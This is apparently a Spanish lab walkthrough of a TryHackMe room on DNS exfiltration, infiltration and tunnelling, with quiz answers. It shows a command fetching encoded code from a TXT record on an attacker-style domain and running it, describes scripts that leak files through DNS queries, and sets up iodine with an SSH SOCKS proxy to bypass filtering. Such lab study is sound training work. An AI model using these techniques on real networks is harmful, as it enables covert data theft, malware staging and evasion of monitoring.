Introducción

En esta habitación vamos a aprender sobre DNS y las técnicas usadas para infiltrar y exfiltrar datos.

La imagen de abajo muestra una búsqueda básica de DNS. La máquina cliente contacta con el servidor DNS para resolver un Fully Qualified Domain Name (FQDN) para una dirección IP.

Funcionamiento del DNS

Después veremos cómo el DNS puede usarse para exfiltrar e infiltrar datos. Finalmente, verems cómo hacer túneles de diferentes protocolos como HTTP a través del DNS.

Exfiltración a través de DNS

Instalación

Código Python usado para infiltración y exfiltración DNS

Se han creado una serie de scripts sencillos en Python para completar este tutorial. Nos permitirán realizar peticiones DNS a un servidor DNS remoto.

git clone https://github.com/kleosdc/dns-exfil-infil
sudo pip3 install -r requirements.txt

Programa usado para hacer túneles por DNS

Nos vamos a Github o instalamos el programa.

https://github.com/yarrick/iodine
sudo apt install iodine

Descargar Wireshark

Podemos usar Wireshark o tshark para capturar paquetes. El código Python usa archivos .pcap para extraer los datos capturados y decodificarlos.

https://www.wireshark.org/download.html

sudo apt install -y tshark

Instalar servidor DNS público personalizado

Si queremos el mismo entorno que tienen configurado los creadores de la habitación, necesitaremos un Public Domain Name y un Public Server.

STOK ha creado un vídeo con un excelente tutorial sobre cómo configurar todo para una exfiltración de datos OOB (Out of Band).

¿Qué es DNS?

Al nivel más alto, un Sistema de Nombre de Dominio (DNS) se refiere a un sistema de nomenclaturas que resuelve nombres de dominio con direcciones IP.

Los servidores DNS están distribuidos por todo el mundo y se actualizan y sincronizan constantemente. Cuando alguien pide a esos servidores un nombre de dominio, como Tryhackme.com, el DNS lo traduce a su IP y la devuelve a quien ha hecho la petición.

A veces, no será la dirección IP original del servidor si los registros DNS tienen un proxy como puede ser el de Cloudflare para su protección contra denegación de servicio.

Los servidores DNS raíz se sientan en la cúspide de la raíz de la jerarquía DNS y juegan un papel crítico en Internet. La información para todos los dominios de nivel superior (TLD), como .com, -co.uk, etc y sus servidores de nombre asociados se albergan en cientos en servidores de nombre raíz que están distribuidos por todo el mundo.

Jerarquía DNS

He aquí algunos recursos para saber más.

https://www.cloudflare.com/learning/dns/glossary/dns-root-server/

https://www.cloudflare.com/learning/dns/glossary/dns-zone/

https://www.iana.org/domains/root/servers

Para saber más sobre otros tipos de registros DNS, podemos leer:

https://www.cloudflare.com/learning/dns/dns-records/

Vamos con las preguntas, que requieren investigación.

Si estamos en Windows, ¿qué comando podríamos usar para hacer una petición txt para youtube.com?

nslookup -type=txt youtube.com

Si estamos en Linux, ¿qué comando usaríamos para hacer una petición de un registro txt para facebook.com?

dig facebook txt

¿Que tipo de dirección IP guarda AAAA junto con el hostname?

IPv6

El número de caracteres máximo para un registro TXT DNS es de 256 (¿yay/nay?). Es 255, así que…

nay

¿Qué registro DNS provee un dominio en una búsqueda inversa? (Es un PTR, que es lo contrario de un registro A. Damos la IP y él proporciona el dominio)

PTR

¿Cuál sería la búsqueda inversa para la siguiente dirección IPv4? (192.168.203.2)

nslookup 192.168.203.2

2.203.168.192.in-addr.arpa

¿Qué es la exfiltración DNS?

Es un ciberataque a los servidores vía DNS, que puede ser realizado manualmente o automáticamente, dependiendo de la localización física del atacante y la proximidad a los dispositivos objetivo.

  • En un escenario manual, los atacantes ganan acceso físico no autorizado a la máquina víctima y extraen datos del entorno.
  • En un escenario automatizado, los atacantes usan malware para realizar la exfiltración de datos mientras se encuentran dentro de la red comprometida.

El DNS es un servicio que, normalmente, estará disponible en la máquina objetivo y permitiendo trafico saliente, normalmente en el puerto 53 sobre TCP y UDP. Eso hace que DNS sea candidato principal para que se exfiltren datos.

Esta exfiltración podría permitir a un atacante transferir grandes volúmenes de datos del entorno objetivo. Es más, la exfiltración DNS es usada sobre todo como ruta para reunir información personal, como números de la seguridad social, propiedad intelectual u otra información personal identificable.

La exfiltración DNS se usa sobre todo añadiendo cadenas que contienen el botín a peticiones DNS UDP.

La cadena que contiene el botín sería enviada a un servidor DNS renegado que está registrando estas peticiones. Para el ojo no entrenado, parece tráfico DNS normal o estas peticiones se pierden mezcladas con peticiones DNS legítimas.

Exfiltración DNS, demostración

En este escenario de ejemplo, un atacante está tratando de exfiltrar datos hacia su sistema usando peticiones DNS.

Veamos los pasos.

Exfiltración DNS

Los archivos para esta demo está en un repositorio y son necesarios para completar la habitación.

  1. securecorp.txt (https://github.com/kleosdc/dns-exfil-infil/blob/main/securecorp.txt)
  2. packety.py (https://github.com/kleosdc/dns-exfil-infil/blob/main/packety.py)
  3. packetGrabber.py (https://github.com/kleosdc/dns-exfil-infil/blob/main/packetyGrabber.py)

El primero es un archivo conteniendo números de tarjeta de crédito falsos, nombres y direcciones.

Exfiltración DNS

El segundo es un script de Python que, cuando lo ejecutas, has de suministrar el siguiente input:

  • Nombre de archivo. Este es el archivo que tratas de exfiltrar y que es recomendable que esté en formato texto.
  • Nombre de dominio. Aquí es donde vas a poner tu nombre de dominio. En este ejemplo, badbaddoma.in

Exfiltración DNS

El código comienza leyendo del archivo de texto. Primero, será codificado en Base64 y Base58. Esto nos deja una larga cadena codificada.

Dicha cadena se divide entonces en secciones de 20 caracteres de longitud, donde cada sección tendrá 3 caracteres dummy añadidos para mayor ofuscación. Un caracter se pondrá de prefijo y dos de sufijo final.

Por ejemplo, una sección de los datos codificados podría parecerse a: 6gfghhjywsas3rg4hda3 y con los caracteres extra a: x6gfghhjywsas3rg4hda3yu.

Una vez todo está codificado y preparado, el script espera a que el usuario pulse INTRO a fin de transmitir las peticiones al servidor DNS.

Este debe haber sido ya configurado para capturar las peticiones entrantes con Wireshark o Tshark.

Exfiltración DNS

A partir de ahí, es cuestión de esperar a que la transmisión alcance el 100%. Si alguna de las peticiones no es entregada a tiempo y en el orden correcto, los datos exfiltrados serán incompletos e inútiles para el atacante.

Exfiltración DNS

Exfiltración DNS

El script packetyGrabber.py (https://github.com/kleosdc/dns-exfil-infil) pide lo siguiente.

  • File captured (Archivo capturado). Es el archivo .pcap que has capturado en tu servidor DNS.
  • Filename output (Nombre de archivo de salida). Es el nombre de archivo en el que se guardará la información decodificada.
  • Nombre de dominio. Este será tu nombre de dominio.

Exfiltración DNS

Si todo va bien y no se han perdido peticiones por el camino, siendo todo el input correcto, se guardará un archivo con los datos decodificados en el mismo directorio en el que hayas corrido el script.

Exfiltración por DNS, práctica

Nos identificamos en la máquina con las credenciales que nos dan. Lo primero que tenemos que hacer es completar los desafíos de la carpeta ~/challenges/exfiltration-

Las herramientas necesarias están en ~/dns-exfil-infil/

Es decir, que hay que leer los archivos TASK localizados en ~/challenges/exfiltration/orderlist/ y en ~/challenges/exfiltration/identify/.

Contestamos a las preguntas:

Para el ORDER-ID: 1 ¿Cuál es el nombre de la transacción? (Escríbela conforma la veas).

La primera tarea nos pide el dominio usado para exfiltrar los datos, usando el siguiente comando para ver todas las peticiones DNS:

tshark -r order.pcap -T fields -e dns.qry.name

Con esa instrucción vemos que el dominio es badbaddoma.in, así que hacemos.

cp ~/dns-exfil-infil/packetyGrabber.py ./ # Copio el script de python en el directorio de trabajo por comodidad.
python3 packetyGrabber.py # Ejecuto para decodificar

Relleno los datos que pide.

  • El archivo es order.pcap.
  • El nombre del archivo de salida es decoded (no se me ha ocurrido nada más interesante).
  • El dominio es badbaddoma.in

Cuando visualizo el archivo decoded, veo varios pedidos (Orders), me pide el número 1.

Network Equip.

¿Cuánto costó el firewall (sin $)?

2500

Vamos con ~/challenges/exfiltration/identify/:

Comenzamos, primero, voy filtrando los archivos (hay 3) con tshark para ver los dominios sospechosos.

tshark -r cap1.pcap -T fields -e dns.qry.name
tshark -r cap2.pcap -T fields -e dns.qry.name
tshark -r cap3.pcap -T fields -e dns.qry.name # Bingo

En el primero y segundo, los dominios son facebook, reddit, google… pero en el cap3 vemos badbaddoma.in. Ese es el que tenemos que decodificar con el script de Python.

cp ~/dns-exfil-infil/packetyGrabber.py ./ # Copio el script de python en el directorio de trabajo por comodidad.
python3 packetyGrabber.py # Ejecuto para decodificar

El archivo es cap3.pcap, al nombre le pongo decoded otra vez y el dominio es badbaddoma.in.

Respondemos a las preguntas.

¿Qué archivo contiene entradas DNS sospechosas?

cap3.pcap

Introduce los datos decodificados de lo que hay ahí (son unas credenciales de usuario y contraseña).

administrator:s3cre7P@ssworduser

¿Qué es la infiltración DNS?

Es otro método usado por atacantes para explotar diversas vulnerabilidades dentro del Sistema de Nombre de Dominio de una organización.

Al contrario que los ataques de exfiltración por DNS, la infiltración define el proceso en el que se ejecuta código malicioso para manipular servidores DNS usando sistemas automatizados o manuales donde los atacantes se conectan remotamente a la infrasestructura de red.

La infiltración DNS se usa para dejar caer archivos o malware staging.

Este método se puede detectar con sistemas basados en conducta, firma o ejecución.

Sin embargo, si no lo detectamos, puede llevar a actividad maliciosa.

En resumen, el protocolo DNS puede ser usado de forma encubierta para ayudar en ese staging del malware y ejecutarse para comunicarse con los servidores de mando y control de un atacante.

¿Qué tipo de registro DNS se suele usar para infiltrar datos en una red?

TXT

Infiltración DNS, demostración

En este escenario, el atacante va a infiltrar código malicioso en la máquina víctima. Hay muchas técnicas diferentes para esto, para simplificar, usaremos un registro TXT configurado en el servidor AWS público de DNS de quien ha creado la habitación.

El valor contenido en el registro es código malicioso codificado.

Como los registros TXT están limitados a 255 caracteres, normalmente se usarán varios. Todo esto depende de la longitud del código.

Lo que necesita hacer el hacker es hacer una petición a esos registros TXT, capturar los valores, decodificarlos y ya ha infiltrado su propio código en un sistema comprometido vía registros TXT de DNS.

Infiltración DNS

Este es el registro TXT malicioso.

Registro TXT malicioso codificado

Archivos usados en esta demo

Primero buscamos el registro TXT para rt1.badbaddoma.in, luego obtenemos el valor dentro de comillas y finalmente lo guardamos en un archivo .mal.py.

nslookup -type=txt rt1.badbaddoma.in | grep Za | cut -d \" -f2 > .mal.py

Ahora usamos el script packetSimple.py que hay en https://github.com/kleosdc/dns-exfil-infil.

Cuando el código pida un nombre de archivo, ponemos ese .mal.py y será el archivo en el que guardaos el valor codificado.

Proceso de infiltración DNS

python3 ~/packetySimple.py
Filename: .mal.py
[+] Reading from file...
[+] Base58 decoded.
[+] Base64 decoded.
[+] Done, .mal.py is decoded.

Infiltración DNS, práctica

Usamos la misma máquina virtual y leemos la tarea del directorio ~/challenges/infiltration/

Podemos usar el mismo comando que en la sección anterior, aunque debemos ajustar la sección de grep usando los caracteres apropiados a buscar.

Por ejemplo, si el valor del registro TXT empieza por G6, necesitamos hacer grep G6.

El archivo de tarea nos explica que vamos a hacer una petición de un registro TXT del dominio público de DNS. He aquí la información necesaria:

  • Nombre de dominio: badbaddoma.in
  • Pedimos registro TXT para este subdominio: code
  • Guardamos el valor de texto en un archivo python.
  • Ejecutamos ~/dns-exfil-infil/packetySimple.py para decodificar el texto.
  • Corremos el programa python3 [nuestro nombre de archivo].py
  • Tomamos nota de la saludo para responder a la pregunta que nos hacen.

Vamos a ello.

nslookup -type=txt code.badbaddoma.in # Echamos un vistazo al registro a ver cómo empieza
# Respuesta
Server:		10.0.0.2
Address:	10.0.0.2#53
Non-authoritative answer:
code.badbaddoma.in	text = "YeeTbunLbACdXq193g6VHXRuDQ9Y1upaAzA3UkpCr8yBBE68JEXU32wxNE44"
# Ya sabemos cómo configurar la parte grep de la instrucción
nslookup -type=txt code.badbaddoma.in | grep Ye | cut -d \" -f2 > miarchivo.py
python3 ~/dns-exfil-infil/packetySimple.py
# Respuesta
Filename: miarchivo.py
[+] Reading from file...
[+] Base58 decoded.
[+] Base64 decoded.
[+] Done, miarchivo.py is decoded.
# Veo ese código ya decodificado
cat miarchivo.py
# Respuesta
import os; print(os.uname()[2])

La pregunta es: Introduce la salida del archivo python ejecutado.

python3 miarchivo.py

4.4.0-186-generic

Túneles DNS

Las empresas tendrán cortafuegos, IDS’s (Sistemas de Detección de Intrusiones) y/o IPS’s, (Sistemas de Protección contra instrusión) a fin de prevenir que protocolos no deseados atraviesen su red.

Pero el protocolo que pocas veces se monitoriza es DNS. A causa de esto, se pueden usar túneles DNS.

Demostración

Vamos a explorar cómo un hacker puede sobrepasar varios sitios web restringidos usando HTTP sobre DNS. Para conseguirlo, usamos Iodine.

Túneles DNS

La configuración es la siguiente:

  • Tengo una máquina Linux alojada en AWS que será el Servidor de Túnel DNS.
  • Una máquina virtual Ubuntu en la máquina local que será el Cliente del Túnel DNS.
  • Un Nombre de Dominio Público alojado en Google Domains (badbadtunnel.in).

Esta es la configuración DNS.

Configuración DNS para túnel

Para comenzar, ambas máquinas tendrán instalado Iodine, que en Kali/Debian se puede conseguir con:

sudo apt install iodine

Cliente: iodine

Servidor: iodined

En el servidor AWS comenzamos iodined con los siguientes argumentos.

Iodine en servidor

Puerto 27001

Ip para el servidor de túnel DNS: 10.0.0.1

Nombre de subdomino: tunnel.badbadtunnel.in

Ahora, en nuestra máquina cliente ejecutamos iodine con estos argumentos:

Iodine en cliente

Si todo es correcto, deberíamos tener conexión con el Servidor de Túnel DNS. Podemos intentar hacer ping para ver si es así.

Ping al servidor DNS

Ahora necesitamos generar una llave SSH y subir el contenido de id_rsa.pub a nuestro Servidor de Túnel DNS en el archivo authorized_keys. Estos son los pasos.

Generando la llave SSH

Este es el contenido de id_rsa.pub

Contenido de la llave pública

Aquí se puede ver cómo se añade el contenido de id_rsa.pub a authorized_keys en el servidor DNS. Eso permite conectar por ssh con el servidor.

Añadiendo a authorized_keys

Ahora conectamos por SSH al Servidor de Túnel DNS con la opción -D 8080

Conectando por SSH al servidor de túnel DNS

Ahora necesitamos abrir el navegador (usamos Firefox) y cambiar la configuración del proxy. Hay extensiones como Foxyproxy que lo hacen fácil.

Seleccionamos «Configuración manual del proxy».

Configuramos el host SOCKS con la dirección IP 127.0.0.1 y el número de puerto 8080.

Configuración del proxy

Ya estamos usando HTTP sobre DNS. Si vamos a myip.is deberíamos ver la dirección IP pública del Servidor de Túnel DNS.

¿Qué programa se usa para hacer un túnel HTTP sobre DNS?

Iodine